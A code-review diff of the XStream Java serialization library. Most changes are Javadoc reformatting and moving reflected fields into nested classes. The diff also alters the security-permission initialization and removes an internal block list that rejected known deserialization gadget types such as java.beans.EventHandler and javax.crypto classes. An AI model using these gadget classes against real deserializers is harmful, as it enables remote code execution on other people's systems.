	1513	* Create an alias for a system attribute. XStream will not write a system attribute if its alias is set to
	1514	* <code>null</code>. However, this is not reversible, i.e. deserialization of the result is likely to fail
	1515	* afterwards and will not produce an object equal to the originally written one.
1601	1516	*
1602	1517	* @param alias the alias itself (may be <code>null</code>)
1603	1518	* @param systemAttributeName the name of the system attribute

1678	1593	}
1679	1594
1680	1595	/**
1681		* Associate a default implementation of a class with an object. Whenever XStream encounters
1682		* an instance of this type, it will use the default implementation instead. For example,
1683		* java.util.ArrayList is the default implementation of java.util.List.
	1596	* Associate a default implementation of a class with an object. Whenever XStream encounters an instance of this
	1597	* type, it will use the default implementation instead. For example, java.util.ArrayList is the default
	1598	* implementation of java.util.List.
1684	1599	*
1685	1600	* @param defaultImplementation
1686	1601	* @param ofType

1746	1661
1747	1662	public void registerConverter(SingleValueConverter converter, int priority) {
1748	1663	if (converterRegistry != null) {
1749		converterRegistry.registerConverter(
1750		new SingleValueConverterWrapper(converter), priority);
	1664	converterRegistry.registerConverter(new SingleValueConverterWrapper(converter), priority);
1751	1665	}
1752	1666	}
1753	1667

1776	1690	* @param converter the converter to use
1777	1691	* @since 1.3
1778	1692	*/
1779		public void registerLocalConverter(Class definedIn, String fieldName,
1780		SingleValueConverter converter) {
1781		registerLocalConverter(
1782		definedIn, fieldName, (Converter)new SingleValueConverterWrapper(converter));
1783		}
1784
1785		/**
1786		* Retrieve the {@link Mapper}. This is by default a chain of {@link MapperWrapper
1787		* MapperWrappers}.
	1693	public void registerLocalConverter(Class definedIn, String fieldName, SingleValueConverter converter) {
	1694	registerLocalConverter(definedIn, fieldName, (Converter)new SingleValueConverterWrapper(converter));
	1695	}
	1696
	1697	/**
	1698	* Retrieve the {@link Mapper}. This is by default a chain of {@link MapperWrapper MapperWrappers}.
1788	1699	*
1789	1700	* @return the mapper
1790	1701	* @since 1.2

1808	1719	}
1809	1720
1810	1721	/**
1811		* Change mode for dealing with duplicate references. Valid values are
1812		* <code>XPATH_ABSOLUTE_REFERENCES</code>, <code>XPATH_RELATIVE_REFERENCES</code>,
1813		* <code>XStream.ID_REFERENCES</code> and <code>XStream.NO_REFERENCES</code>.
	1722	* Change mode for dealing with duplicate references. Valid values are <code>XPATH_ABSOLUTE_REFERENCES</code>,
	1723	* <code>XPATH_RELATIVE_REFERENCES</code>, <code>XStream.ID_REFERENCES</code> and
	1724	* <code>XStream.NO_REFERENCES</code>.
1814	1725	*
1815	1726	* @throws IllegalArgumentException if the mode is not one of the declared types
1816	1727	* @see #XPATH_ABSOLUTE_REFERENCES

1835	1746	ReferenceByXPathMarshallingStrategy.ABSOLUTE));
1836	1747	break;
1837	1748	case SINGLE_NODE_XPATH_RELATIVE_REFERENCES:
1838		setMarshallingStrategy(new ReferenceByXPathMarshallingStrategy(
1839		ReferenceByXPathMarshallingStrategy.RELATIVE
	1749	setMarshallingStrategy(new ReferenceByXPathMarshallingStrategy(ReferenceByXPathMarshallingStrategy.RELATIVE
1840	1750	\| ReferenceByXPathMarshallingStrategy.SINGLE_NODE));
1841	1751	break;
1842	1752	case SINGLE_NODE_XPATH_ABSOLUTE_REFERENCES:
1843		setMarshallingStrategy(new ReferenceByXPathMarshallingStrategy(
1844		ReferenceByXPathMarshallingStrategy.ABSOLUTE
	1753	setMarshallingStrategy(new ReferenceByXPathMarshallingStrategy(ReferenceByXPathMarshallingStrategy.ABSOLUTE
1845	1754	\| ReferenceByXPathMarshallingStrategy.SINGLE_NODE));
1846	1755	break;
1847	1756	default:

1853	1762	* Adds a default implicit collection which is used for any unmapped XML tag.
1854	1763	*
1855	1764	* @param ownerType class owning the implicit collection
1856		* @param fieldName name of the field in the ownerType. This field must be a concrete
1857		* collection type or matching the default implementation type of the collection
1858		* type.
	1765	* @param fieldName name of the field in the ownerType. This field must be a concrete collection type or matching
	1766	* the default implementation type of the collection type.
1859	1767	*/
1860	1768	public void addImplicitCollection(Class ownerType, String fieldName) {
1861	1769	addImplicitCollection(ownerType, fieldName, null, null);

1865	1773	* Adds implicit collection which is used for all items of the given itemType.
1866	1774	*
1867	1775	* @param ownerType class owning the implicit collection
1868		* @param fieldName name of the field in the ownerType. This field must be a concrete
1869		* collection type or matching the default implementation type of the collection
1870		* type.
	1776	* @param fieldName name of the field in the ownerType. This field must be a concrete collection type or matching
	1777	* the default implementation type of the collection type.
1871	1778	* @param itemType type of the items to be part of this collection
1872	1779	* @throws InitializationException if no {@link ImplicitCollectionMapper} is available
1873	1780	*/

1876	1783	}
1877	1784
1878	1785	/**
1879		* Adds implicit collection which is used for all items of the given element name defined by
1880		* itemFieldName.
	1786	* Adds implicit collection which is used for all items of the given element name defined by itemFieldName.
1881	1787	*
1882	1788	* @param ownerType class owning the implicit collection
1883		* @param fieldName name of the field in the ownerType. This field must be a concrete
1884		* collection type or matching the default implementation type of the collection
1885		* type.
	1789	* @param fieldName name of the field in the ownerType. This field must be a concrete collection type or matching
	1790	* the default implementation type of the collection type.
1886	1791	* @param itemFieldName element name of the implicit collection
1887	1792	* @param itemType item type to be aliases be the itemFieldName
1888	1793	* @throws InitializationException if no {@link ImplicitCollectionMapper} is available
1889	1794	*/
1890		public void addImplicitCollection(Class ownerType, String fieldName, String itemFieldName,
1891		Class itemType) {
	1795	public void addImplicitCollection(Class ownerType, String fieldName, String itemFieldName, Class itemType) {
1892	1796	addImplicitMap(ownerType, fieldName, itemFieldName, itemType, null);
1893	1797	}
1894	1798

1897	1801	*
1898	1802	* @param ownerType class owning the implicit array
1899	1803	* @param fieldName name of the array field
1900		* @since 1.4
	1804	* @since 1.4
1901	1805	*/
1902	1806	public void addImplicitArray(Class ownerType, String fieldName) {
1903	1807	addImplicitCollection(ownerType, fieldName);
1904	1808	}
1905	1809
1906	1810	/**
1907		* Adds an implicit array which is used for all items of the given itemType when the array
1908		* type matches.
	1811	* Adds an implicit array which is used for all items of the given itemType when the array type matches.
1909	1812	*
1910	1813	* @param ownerType class owning the implicit array
1911	1814	* @param fieldName name of the array field in the ownerType
1912	1815	* @param itemType type of the items to be part of this array
1913		* @throws InitializationException if no {@link ImplicitCollectionMapper} is available or the
1914		* array type does not match the itemType
1915		* @since 1.4
	1816	* @throws InitializationException if no {@link ImplicitCollectionMapper} is available or the array type does not
	1817	* match the itemType
	1818	* @since 1.4
1916	1819	*/
1917	1820	public void addImplicitArray(Class ownerType, String fieldName, Class itemType) {
1918	1821	addImplicitCollection(ownerType, fieldName, itemType);
1919	1822	}
1920	1823
1921	1824	/**
1922		* Adds an implicit array which is used for all items of the given element name defined by
1923		* itemName.
	1825	* Adds an implicit array which is used for all items of the given element name defined by itemName.
1924	1826	*
1925	1827	* @param ownerType class owning the implicit array
1926	1828	* @param fieldName name of the array field in the ownerType
1927	1829	* @param itemName alias name of the items
1928	1830	* @throws InitializationException if no {@link ImplicitCollectionMapper} is available
1929		* @since 1.4
	1831	* @since 1.4
1930	1832	*/
1931	1833	public void addImplicitArray(Class ownerType, String fieldName, String itemName) {
1932	1834	addImplicitCollection(ownerType, fieldName, itemName, null);

1936	1838	* Adds an implicit map.
1937	1839	*
1938	1840	* @param ownerType class owning the implicit map
1939		* @param fieldName name of the field in the ownerType. This field must be a concrete
1940		* map type or matching the default implementation type of the map
1941		* type.
	1841	* @param fieldName name of the field in the ownerType. This field must be a concrete map type or matching the
	1842	* default implementation type of the map type.
1942	1843	* @param itemType type of the items to be part of this map as value
1943	1844	* @param keyFieldName the name of the field of the itemType that is used for the key in the map
1944		* @since 1.4
	1845	* @since 1.4
1945	1846	*/
1946	1847	public void addImplicitMap(Class ownerType, String fieldName, Class itemType, String keyFieldName) {
1947	1848	addImplicitMap(ownerType, fieldName, null, itemType, keyFieldName);

1951	1852	* Adds an implicit map.
1952	1853	*
1953	1854	* @param ownerType class owning the implicit map
1954		* @param fieldName name of the field in the ownerType. This field must be a concrete
1955		* map type or matching the default implementation type of the map
1956		* type.
	1855	* @param fieldName name of the field in the ownerType. This field must be a concrete map type or matching the
	1856	* default implementation type of the map type.
1957	1857	* @param itemName alias name of the items
1958	1858	* @param itemType type of the items to be part of this map as value
1959	1859	* @param keyFieldName the name of the field of the itemType that is used for the key in the map
1960		* @since 1.4
1961		*/
1962		public void addImplicitMap(Class ownerType, String fieldName, String itemName,
1963		Class itemType, String keyFieldName) {
	1860	* @since 1.4
	1861	*/
	1862	public void addImplicitMap(Class ownerType, String fieldName, String itemName, Class itemType,
	1863	String keyFieldName) {
1964	1864	if (implicitCollectionMapper == null) {
1965	1865	throw new com.thoughtworks.xstream.InitializationException("No "
1966	1866	+ ImplicitCollectionMapper.class.getName()

1983	1883	}
1984	1884
1985	1885	/**
1986		* Creates an ObjectOutputStream that serializes a stream of objects to the writer using
1987		* XStream.
	1886	* Creates an ObjectOutputStream that serializes a stream of objects to the writer using XStream.
1988	1887	* <p>
1989	1888	* To change the name of the root element (from <object-stream>), use
1990	1889	* {@link #createObjectOutputStream(java.io.Writer, String)}.
1991	1890	* </p>
1992	1891	*
1993		* @see #createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter,
1994		* String)
	1892	* @see #createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter, String)
1995	1893	* @see #createObjectInputStream(com.thoughtworks.xstream.io.HierarchicalStreamReader)
1996	1894	* @since 1.0.3
1997	1895	*/
1998	1896	public ObjectOutputStream createObjectOutputStream(Writer writer) throws IOException {
1999		return createObjectOutputStream(
2000		hierarchicalStreamDriver.createWriter(writer), "object-stream");
2001		}
2002
2003		/**
2004		* Creates an ObjectOutputStream that serializes a stream of objects to the writer using
2005		* XStream.
	1897	return createObjectOutputStream(hierarchicalStreamDriver.createWriter(writer), "object-stream");
	1898	}
	1899
	1900	/**
	1901	* Creates an ObjectOutputStream that serializes a stream of objects to the writer using XStream.
2006	1902	* <p>
2007	1903	* To change the name of the root element (from <object-stream>), use
2008	1904	* {@link #createObjectOutputStream(java.io.Writer, String)}.
2009	1905	* </p>
2010	1906	*
2011		* @see #createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter,
2012		* String)
	1907	* @see #createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter, String)
2013	1908	* @see #createObjectInputStream(com.thoughtworks.xstream.io.HierarchicalStreamReader)
2014	1909	* @since 1.0.3
2015	1910	*/
2016		public ObjectOutputStream createObjectOutputStream(HierarchicalStreamWriter writer)
2017		throws IOException {
	1911	public ObjectOutputStream createObjectOutputStream(HierarchicalStreamWriter writer) throws IOException {
2018	1912	return createObjectOutputStream(writer, "object-stream");
2019	1913	}
2020	1914
2021	1915	/**
2022		* Creates an ObjectOutputStream that serializes a stream of objects to the writer using
2023		* XStream.
2024		*
2025		* @see #createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter,
2026		* String)
	1916	* Creates an ObjectOutputStream that serializes a stream of objects to the writer using XStream.
	1917	*
	1918	* @see #createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter, String)
2027	1919	* @see #createObjectInputStream(com.thoughtworks.xstream.io.HierarchicalStreamReader)
2028	1920	* @since 1.0.3
2029	1921	*/
2030		public ObjectOutputStream createObjectOutputStream(Writer writer, String rootNodeName)
2031		throws IOException {
2032		return createObjectOutputStream(
2033		hierarchicalStreamDriver.createWriter(writer), rootNodeName);
2034		}
2035
2036		/**
2037		* Creates an ObjectOutputStream that serializes a stream of objects to the OutputStream
2038		* using XStream.
	1922	public ObjectOutputStream createObjectOutputStream(Writer writer, String rootNodeName) throws IOException {
	1923	return createObjectOutputStream(hierarchicalStreamDriver.createWriter(writer), rootNodeName);
	1924	}
	1925
	1926	/**
	1927	* Creates an ObjectOutputStream that serializes a stream of objects to the OutputStream using XStream.
2039	1928	* <p>
2040	1929	* To change the name of the root element (from <object-stream>), use
2041	1930	* {@link #createObjectOutputStream(java.io.Writer, String)}.
2042	1931	* </p>
2043	1932	*
2044		* @see #createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter,
2045		* String)
	1933	* @see #createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter, String)
2046	1934	* @see #createObjectInputStream(com.thoughtworks.xstream.io.HierarchicalStreamReader)
2047	1935	* @since 1.3
2048	1936	*/
2049	1937	public ObjectOutputStream createObjectOutputStream(OutputStream out) throws IOException {
2050		return createObjectOutputStream(
2051		hierarchicalStreamDriver.createWriter(out), "object-stream");
2052		}
2053
2054		/**
2055		* Creates an ObjectOutputStream that serializes a stream of objects to the OutputStream
2056		* using XStream.
2057		*
2058		* @see #createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter,
2059		* String)
	1938	return createObjectOutputStream(hierarchicalStreamDriver.createWriter(out), "object-stream");
	1939	}
	1940
	1941	/**
	1942	* Creates an ObjectOutputStream that serializes a stream of objects to the OutputStream using XStream.
	1943	*
	1944	* @see #createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter, String)
2060	1945	* @see #createObjectInputStream(com.thoughtworks.xstream.io.HierarchicalStreamReader)
2061	1946	* @since 1.3
2062	1947	*/
2063		public ObjectOutputStream createObjectOutputStream(OutputStream out, String rootNodeName)
2064		throws IOException {
2065		return createObjectOutputStream(
2066		hierarchicalStreamDriver.createWriter(out), rootNodeName);
2067		}
2068
2069		/**
2070		* Creates an ObjectOutputStream that serializes a stream of objects to the writer using
2071		* XStream.
	1948	public ObjectOutputStream createObjectOutputStream(OutputStream out, String rootNodeName) throws IOException {
	1949	return createObjectOutputStream(hierarchicalStreamDriver.createWriter(out), rootNodeName);
	1950	}
	1951
	1952	/**
	1953	* Creates an ObjectOutputStream that serializes a stream of objects to the writer using XStream.
2072	1954	* <p>
2073		* Because an ObjectOutputStream can contain multiple items and XML only allows a single
2074		* root node, the stream must be written inside an enclosing node.
	1955	* Because an ObjectOutputStream can contain multiple items and XML only allows a single root node, the stream must
	1956	* be written inside an enclosing node.
2075	1957	* </p>
2076	1958	* <p>
2077		* It is necessary to call ObjectOutputStream.close() when done, otherwise the stream will
2078		* be incomplete.
	1959	* It is necessary to call ObjectOutputStream.close() when done, otherwise the stream will be incomplete.
2079	1960	* </p>
2080	1961	* <h3>Example</h3>
2081	1962	*

2105	1986	* @since 1.4.10
2106	1987	*/
2107	1988	public ObjectOutputStream createObjectOutputStream(final HierarchicalStreamWriter writer, final String rootNodeName,
2108		final DataHolder dataHolder) throws IOException {
	1989	final DataHolder dataHolder)
	1990	throws IOException {
2109	1991	final StatefulWriter statefulWriter = new StatefulWriter(writer);
2110	1992	statefulWriter.startNode(rootNodeName, null);
2111	1993	return new CustomObjectOutputStream(new CustomObjectOutputStream.StreamCallback() {

2135	2017	}
2136	2018
2137	2019	/**
2138		* Creates an ObjectInputStream that deserializes a stream of objects from a reader using
2139		* XStream.
	2020	* Creates an ObjectInputStream that deserializes a stream of objects from a reader using XStream.
2140	2021	*
2141	2022	* @see #createObjectInputStream(com.thoughtworks.xstream.io.HierarchicalStreamReader)
2142		* @see #createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter,
2143		* String)
	2023	* @see #createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter, String)
2144	2024	* @since 1.0.3
2145	2025	*/
2146	2026	public ObjectInputStream createObjectInputStream(Reader xmlReader) throws IOException {

2148	2028	}
2149	2029
2150	2030	/**
2151		* Creates an ObjectInputStream that deserializes a stream of objects from an InputStream
2152		* using XStream.
	2031	* Creates an ObjectInputStream that deserializes a stream of objects from an InputStream using XStream.
2153	2032	*
2154	2033	* @see #createObjectInputStream(com.thoughtworks.xstream.io.HierarchicalStreamReader)
2155		* @see #createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter,
2156		* String)
	2034	* @see #createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter, String)
2157	2035	* @since 1.3
2158	2036	*/
2159	2037	public ObjectInputStream createObjectInputStream(InputStream in) throws IOException {

2174	2052	* Object c = out.readObject();
2175	2053	* </pre>
2176	2054	*
2177		* @see #createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter,
2178		* String)
	2055	* @see #createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter, String)
2179	2056	* @since 1.0.3
2180	2057	*/
2181	2058	public ObjectInputStream createObjectInputStream(final HierarchicalStreamReader reader) throws IOException {

2197	2074	throw new EOFException();
2198	2075	}
2199	2076	reader.moveDown();
2200		final Object result = unmarshal(reader, dataHolder);
	2077	final Object result = unmarshal(reader, null, dataHolder);
2201	2078	reader.moveUp();
2202	2079	return result;
2203	2080	}

2210	2087	throw new NotActiveException("not in call to readObject");
2211	2088	}
2212	2089
2213		public void registerValidation(ObjectInputValidation validation, int priority)
2214		throws NotActiveException {
	2090	public void registerValidation(ObjectInputValidation validation, int priority) throws NotActiveException {
2215	2091	throw new NotActiveException("stream inactive");
2216	2092	}
2217	2093

2222	2098	}
2223	2099
2224	2100	/**
2225		* Change the ClassLoader XStream uses to load classes. Creating an XStream instance it will
2226		* register for all kind of classes and types of the current JDK, but not for any 3rd party
2227		* type. To ensure that all other types are loaded with your class loader, you should call
2228		* this method as early as possible - or consider to provide the class loader directly in
2229		* the constructor.
	2101	* Change the ClassLoader XStream uses to load classes. Creating an XStream instance it will register for all kind
	2102	* of classes and types of the current JDK, but not for any 3rd party type. To ensure that all other types are
	2103	* loaded with your class loader, you should call this method as early as possible - or consider to provide the
	2104	* class loader directly in the constructor.
2230	2105	*
2231	2106	* @since 1.1.1
2232	2107	*/

2242	2117	public ClassLoader getClassLoader() {
2243	2118	return classLoaderReference.getReference();
2244	2119	}
2245
2246		/**
2247		* Retrieve the reference to this instance' ClassLoader. Use this reference for other
2248		* XStream components (like converters) to ensure that they will use a changed ClassLoader
2249		* instance automatically.
	2120
	2121	/**
	2122	* Retrieve the reference to this instance' ClassLoader. Use this reference for other XStream components (like
	2123	* converters) to ensure that they will use a changed ClassLoader instance automatically.
2250	2124	*
2251	2125	* @return the reference
2252	2126	* @since 1.4.5

2256	2130	}
2257	2131
2258	2132	/**
2259		* Prevents a field from being serialized. To omit a field you must always provide the
2260		* declaring type and not necessarily the type that is converted.
	2133	* Prevents a field from being serialized. To omit a field you must always provide the declaring type and not
	2134	* necessarily the type that is converted.
2261	2135	*
2262	2136	* @since 1.1.3
2263	2137	* @throws InitializationException if no {@link ElementIgnoringMapper} is available

2270	2144	}
2271	2145	elementIgnoringMapper.omitField(definedIn, fieldName);
2272	2146	}
2273
	2147
2274	2148	/**
2275	2149	* Ignore all unknown elements.
2276	2150	*

2313	2187	*/
2314	2188	public void processAnnotations(final Class[] types) {
2315	2189	if (annotationConfiguration == null) {
2316		throw new com.thoughtworks.xstream.InitializationException("No "
2317		+ ANNOTATION_MAPPER_TYPE
2318		+ " available");
	2190	throw new com.thoughtworks.xstream.InitializationException("No " + ANNOTATION_MAPPER_TYPE + " available");
2319	2191	}
2320	2192	annotationConfiguration.processAnnotations(types);
2321	2193	}
2322	2194
2323	2195	/**
2324		* Process the annotations of the given type and configure the XStream. A call of this
2325		* method will automatically turn the auto-detection mode for annotations off.
	2196	* Process the annotations of the given type and configure the XStream. A call of this method will automatically
	2197	* turn the auto-detection mode for annotations off.
2326	2198	*
2327	2199	* @param type the type with XStream annotations
2328	2200	* @since 1.3

2332	2204	}
2333	2205
2334	2206	/**
2335		* Set the auto-detection mode of the AnnotationMapper. Note that auto-detection implies
2336		* that the XStream is configured while it is processing the XML steams. This is a potential
2337		* concurrency problem. Also is it technically not possible to detect all class aliases at
2338		* deserialization. You have been warned!
	2207	* Set the auto-detection mode of the AnnotationMapper. Note that auto-detection implies that the XStream is
	2208	* configured while it is processing the XML steams. This is a potential concurrency problem. Also is it technically
	2209	* not possible to detect all class aliases at deserialization. You have been warned!
2339	2210	*
2340	2211	* @param mode <code>true</code> if annotations are auto-detected
2341	2212	* @since 1.3

2345	2216	annotationConfiguration.autodetectAnnotations(mode);
2346	2217	}
2347	2218	}
2348
	2219
2349	2220	/**
2350	2221	* Add a new security permission.
2351		*
2352	2222	* <p>
2353	2223	* Permissions are evaluated in the added sequence. An instance of {@link NoTypePermission} or
2354	2224	* {@link AnyTypePermission} will implicitly wipe any existing permission.

2359	2229	*/
2360	2230	public void addPermission(TypePermission permission) {
2361	2231	if (securityMapper != null) {
2362		securityInitialized = true;
	2232	securityInitialized \|= permission.equals(NoTypePermission.NONE) \|\| permission.equals(AnyTypePermission.ANY);
2363	2233	securityMapper.addPermission(permission);
2364	2234	}
2365	2235	}
2366
	2236
2367	2237	/**
2368	2238	* Add security permission for explicit types by name.
2369	2239	*

2373	2243	public void allowTypes(String[] names) {
2374	2244	addPermission(new ExplicitTypePermission(names));
2375	2245	}
2376
	2246
2377	2247	/**
2378	2248	* Add security permission for explicit types.
2379	2249	*

2383	2253	public void allowTypes(Class[] types) {
2384	2254	addPermission(new ExplicitTypePermission(types));
2385	2255	}
2386
	2256
2387	2257	/**
2388	2258	* Add security permission for a type hierarchy.
2389	2259	*

2393	2263	public void allowTypeHierarchy(Class type) {
2394	2264	addPermission(new TypeHierarchyPermission(type));
2395	2265	}
2396
	2266
2397	2267	/**
2398	2268	* Add security permission for types matching one of the specified regular expressions.
2399	2269	*

2403	2273	public void allowTypesByRegExp(String[] regexps) {
2404	2274	addPermission(new RegExpTypePermission(regexps));
2405	2275	}
2406
	2276
2407	2277	/**
2408	2278	* Add security permission for types matching one of the specified regular expressions.
2409	2279	*

2413	2283	public void allowTypesByRegExp(Pattern[] regexps) {
2414	2284	addPermission(new RegExpTypePermission(regexps));
2415	2285	}
2416
	2286
2417	2287	/**
2418	2288	* Add security permission for types matching one of the specified wildcard patterns.
2419	2289	* <p>

2421	2291	* </p>
2422	2292	* <ul>
2423	2293	* <li>?: one non-control character except separator, e.g. for 'java.net.Inet?Address'</li>
2424		* <li>: arbitrary number of non-control characters except separator, e.g. for types in a package like 'java.lang.'</li>
2425		* <li>: arbitrary number of non-control characters including separator, e.g. for types in a package and subpackages like 'java.lang.'</li>
	2294	* <li>*: arbitrary number of non-control characters except separator, e.g. for types in a package like
	2295	* 'java.lang.*'</li>
	2296	* <li>**: arbitrary number of non-control characters including separator, e.g. for types in a package and
	2297	* subpackages like 'java.lang.**'</li>
2426	2298	* </ul>
2427	2299	*
2428	2300	* @param patterns the patterns to allow type names

2431	2303	public void allowTypesByWildcard(String[] patterns) {
2432	2304	addPermission(new WildcardTypePermission(patterns));
2433	2305	}
2434
	2306
2435	2307	/**
2436	2308	* Add security permission denying another one.
2437	2309	*

2441	2313	public void denyPermission(TypePermission permission) {
2442	2314	addPermission(new NoPermission(permission));
2443	2315	}
2444
	2316
2445	2317	/**
2446	2318	* Add security permission forbidding explicit types by name.
2447	2319	*

2451	2323	public void denyTypes(String[] names) {
2452	2324	denyPermission(new ExplicitTypePermission(names));
2453	2325	}
2454
	2326
2455	2327	/**
2456	2328	* Add security permission forbidding explicit types.
2457	2329	*

2461	2333	public void denyTypes(Class[] types) {
2462	2334	denyPermission(new ExplicitTypePermission(types));
2463	2335	}
2464
	2336
2465	2337	/**
2466	2338	* Add security permission forbidding a type hierarchy.
2467	2339	*

2471	2343	public void denyTypeHierarchy(Class type) {
2472	2344	denyPermission(new TypeHierarchyPermission(type));
2473	2345	}
2474
	2346
2475	2347	/**
2476	2348	* Add security permission forbidding types matching one of the specified regular expressions.
2477	2349	*

2481	2353	public void denyTypesByRegExp(String[] regexps) {
2482	2354	denyPermission(new RegExpTypePermission(regexps));
2483	2355	}
2484
	2356
2485	2357	/**
2486	2358	* Add security permission forbidding types matching one of the specified regular expressions.
2487	2359	*

2491	2363	public void denyTypesByRegExp(Pattern[] regexps) {
2492	2364	denyPermission(new RegExpTypePermission(regexps));
2493	2365	}
2494
	2366
2495	2367	/**
2496	2368	* Add security permission forbidding types matching one of the specified wildcard patterns.
2497	2369	* <p>

2499	2371	* </p>
2500	2372	* <ul>
2501	2373	* <li>?: one non-control character except separator, e.g. for 'java.net.Inet?Address'</li>
2502		* <li>: arbitrary number of non-control characters except separator, e.g. for types in a package like 'java.lang.'</li>
2503		* <li>: arbitrary number of non-control characters including separator, e.g. for types in a package and subpackages like 'java.lang.'</li>
	2374	* <li>*: arbitrary number of non-control characters except separator, e.g. for types in a package like
	2375	* 'java.lang.*'</li>
	2376	* <li>**: arbitrary number of non-control characters including separator, e.g. for types in a package and
	2377	* subpackages like 'java.lang.**'</li>
2504	2378	* </ul>
2505	2379	*
2506	2380	* @param patterns the patterns to forbid names

2516	2390	}
2517	2391
2518	2392	/**
2519		* @deprecated As of 1.3, use {@link com.thoughtworks.xstream.InitializationException}
2520		* instead
	2393	* @deprecated As of 1.3, use {@link com.thoughtworks.xstream.InitializationException} instead
2521	2394	*/
2522	2395	public static class InitializationException extends XStreamException {
2523	2396	/**

2531	2404
2532	2405	/**
2533	2406	* @deprecated As of 1.3, use
2534		* {@link com.thoughtworks.xstream.InitializationException#InitializationException(String)}
2535		* instead
	2407	* {@link com.thoughtworks.xstream.InitializationException#InitializationException(String)} instead
2536	2408	*/
2537	2409	public InitializationException(String message) {
2538	2410	super(message);
2539	2411	}
2540	2412	}
2541
2542		private class InternalBlackList implements Converter {
2543
2544		public boolean canConvert(final Class type) {
2545		return (type == void.class \|\| type == Void.class)
2546		\|\| (!securityInitialized
2547		&& type != null
2548		&& (type.getName().equals("java.beans.EventHandler")
2549		\|\| type.getName().endsWith("$LazyIterator")
2550		\|\| type.getName().startsWith("javax.crypto.")));
2551		}
2552
2553		public void marshal(final Object source, final HierarchicalStreamWriter writer,
2554		final MarshallingContext context) {
2555		throw new ConversionException("Security alert. Marshalling rejected.");
2556		}
2557
2558		public Object unmarshal(final HierarchicalStreamReader reader, final UnmarshallingContext context) {
2559		throw new ConversionException("Security alert. Unmarshalling rejected.");
2560		}
2561		}
2562	2413	}

-4

xstream/src/java/com/thoughtworks/xstream/converters/collections/PropertiesConverter.java less more

0	0	/*
1	1	* Copyright (C) 2004, 2005 Joe Walnes.
2		* Copyright (C) 2006, 2007, 2008, 2009, 2013 XStream Committers.
	2	* Copyright (C) 2006, 2007, 2008, 2009, 2013, 2020 XStream Committers.
3	3	* All rights reserved.
4	4	*
5	5	* The software in this package is published under the terms of the BSD

43	43	*/
44	44	public class PropertiesConverter implements Converter {
45	45
46		private final static Field defaultsField = Fields.locate(Properties.class, Properties.class, false);
47	46	private final boolean sort;
48	47
49	48	public PropertiesConverter() {

68	67	writer.addAttribute("value", entry.getValue().toString());
69	68	writer.endNode();
70	69	}
71		if (defaultsField != null) {
72		Properties defaults = (Properties)Fields.read(defaultsField, properties);
	70	if (Reflections.defaultsField != null) {
	71	Properties defaults = (Properties)Fields.read(Reflections.defaultsField, properties);
73	72	if (defaults != null) {
74	73	writer.startNode("defaults");
75	74	marshal(defaults, writer, context);

101	100	}
102	101	}
103	102
	103	private static class Reflections {
	104	private final static Field defaultsField = Fields.locate(Properties.class, Properties.class, false);
	105	}
104	106	}

+11

-8

xstream/src/java/com/thoughtworks/xstream/converters/collections/TreeMapConverter.java less more

0	0	/*
1	1	* Copyright (C) 2004, 2005 Joe Walnes.
2		* Copyright (C) 2006, 2007, 2010, 2011, 2013, 2016, 2018 XStream Committers.
	2	* Copyright (C) 2006, 2007, 2010, 2011, 2013, 2016, 2018, 2020 XStream Committers.
3	3	* All rights reserved.
4	4	*
5	5	* The software in this package is published under the terms of the BSD

46	46	}
47	47
48	48	private final static Comparator NULL_MARKER = new NullComparator();
49		private final static Field comparatorField = Fields.locate(TreeMap.class, Comparator.class, false);
50	49
51	50	public TreeMapConverter(Mapper mapper) {
52	51	super(mapper, TreeMap.class);

70	69	}
71	70
72	71	public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
73		TreeMap result = comparatorField != null ? new TreeMap() : null;
	72	TreeMap result = Reflections.comparatorField != null ? new TreeMap() : null;
74	73	final Comparator comparator = unmarshalComparator(reader, context, result);
75	74	if (result == null) {
76	75	result = comparator == null \|\| comparator == NULL_MARKER ? new TreeMap() : new TreeMap(comparator);

115	114	populateMap(reader, context, result, sortedMap);
116	115	try {
117	116	if (JVM.hasOptimizedTreeMapPutAll()) {
118		if (comparator != null && comparatorField != null) {
119		comparatorField.set(result, comparator);
	117	if (comparator != null && Reflections.comparatorField != null) {
	118	Reflections.comparatorField.set(result, comparator);
120	119	}
121	120	result.putAll(sortedMap); // internal optimization will not call comparator
122		} else if (comparatorField != null) {
123		comparatorField.set(result, sortedMap.comparator());
	121	} else if (Reflections.comparatorField != null) {
	122	Reflections.comparatorField.set(result, sortedMap.comparator());
124	123	result.putAll(sortedMap); // "sort" by index
125		comparatorField.set(result, comparator);
	124	Reflections.comparatorField.set(result, comparator);
126	125	} else {
127	126	result.putAll(sortedMap); // will use comparator for already sorted map
128	127	}

130	129	throw new ObjectAccessException("Cannot set comparator of TreeMap", e);
131	130	}
132	131	}
	132
	133	private static class Reflections {
	134	private final static Field comparatorField = Fields.locate(TreeMap.class, Comparator.class, false);
	135	}
133	136	}

+45

-38

xstream/src/java/com/thoughtworks/xstream/converters/collections/TreeSetConverter.java less more

0	0	/*
1	1	* Copyright (C) 2004, 2005 Joe Walnes.
2		* Copyright (C) 2006, 2007, 2010, 2011, 2013, 2014, 2016, 2018 XStream Committers.
	2	* Copyright (C) 2006, 2007, 2010, 2011, 2013, 2014, 2016, 2018, 2020 XStream Committers.
3	3	* All rights reserved.
4	4	*
5	5	* The software in this package is published under the terms of the BSD

40	40	*/
41	41	public class TreeSetConverter extends CollectionConverter {
42	42	private transient TreeMapConverter treeMapConverter;
43		private final static Field sortedMapField;
44		private final static Object constantValue;
45		static {
46		Object value = null;
